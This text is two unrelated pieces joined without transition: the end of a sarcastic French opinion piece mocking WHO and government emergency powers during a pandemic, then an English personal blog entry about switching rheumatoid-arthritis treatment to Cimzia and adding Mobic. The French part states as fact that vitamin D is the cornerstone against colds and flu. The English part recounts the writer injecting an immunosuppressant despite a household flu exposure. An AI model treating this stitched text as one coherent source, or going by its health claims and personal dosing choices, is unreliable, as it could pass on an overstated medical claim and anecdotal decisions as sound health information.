Donc, entre les pouvoirs confiés à l’OMS durant une pandémie déclarée et les pouvoirs spéciaux conférés à la branche exécutive du gouvernement durant un « état d’urgence » déclaré, la population du monde entier a toutes les raisons de se sentir *super en sécurité*. Je partage certainement ce sentiment.

Pas même besoin de savoir que la vitamine D se révèle être la pierre angulaire pour combattre les rhumes et grippes saisonnières. Santé Canada va probablement perdre son temps à enquêter sur le rôle de la vitamine D dans la protection contre ces problème de la santé qui nous affectent tous chaque hivers, alors que nous sommes majoritairement déficient en vitamine D, qui est produite dans la peau avec l’action du soleil.

Je ne peux qu’espérer et prier, alors que cette merveilleuse machine de protection nationale et globale pour « prendre soin de nous » se met en route, que les hurluberlus de théoriciens du complot ne vont pas tout ruiner avec leurs outrageuses fantaisies paranoïaques. Donc, sentez-vous libres de faire circuler ce message rassurant autant que possible.

Nous sommes tous ensembles dans cette galère!

François Marginean

Image Flickr: Michæl Paukner

A second dose of Cimzia (certolizumab pegol) was injected Wednesday evening. Since Enbrel was no longer working well, my rheumatologist recommended trying a new medication. Cimzia, which was recently approved by the FDA, is designed to stay in the body longer thereby making it more effective. The nurse stated that about 15-20 patients in their office switched to Cimzia after Enbrel and Humira stopped working for them.

Below is a photo showing all the paraphernalia associated with self-administration of the antibody treatment. I do “enjoy” the ergonomically designed syringes!

I noticed less fatigue last month after the first injection although joint pain and inflammation continued. The first clear evidence of finger joint bending was noticable. My knee was bothering me after swimming a little (so much for swimming as a good exercise for RA). The fatigue returned over the past few days. Since swine flu made a visit to our house last week (my son had it), I debated whether I should wait to take the second dose. Cimzia lowers the immune system increasing vulnerability to infections. We were still in the incubation period for the flu. But I realized that the toll of RA on my body trumped anything else and I gave myself the second injection. The day after the 2nd injection brought an obvious increase in energy, less “brain fog”, and less joint stiffness and pain.

My rheumy said to give it a good 3-4 months before making any long-term judgements about the efficacy of Cimzia.  Since the pain was still present and finger bending noticeable, my rheumy suggested that I try Mobic (meloxicam) which is a non-steroidal anti-inflammatory (NSAID). I can’t tolerate ibuprofen so we’ll see how this goes. Thus, another weapon is added to the chemical arsenal designed to fight RA in my body.